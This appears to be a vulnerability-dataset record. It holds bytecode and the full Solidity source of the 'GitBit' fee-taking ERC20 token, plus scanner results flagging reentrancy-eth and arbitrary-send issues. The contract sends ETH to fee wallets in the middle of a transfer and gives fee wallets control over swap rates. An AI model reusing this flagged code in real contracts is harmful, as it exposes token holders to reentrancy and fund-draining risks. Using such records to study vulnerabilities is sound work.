161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60016009819055506009600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960018461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660098461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ac4d72657b316c2262cdb8bc590519934a29fbf4c17d1c3542b0ee9af3cc4ff64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,233
0xb147c8785678e8d5b24403ccc83b08f90b92a017
/** * https://t.me/GitBitETH/ * https://git-bit.org/ */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GITBIT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"GitBit"; string private constant _symbol = unicode"GITBIT🔮"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 18; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 30; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(10)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 18; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (180 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a6004803603810190610445919061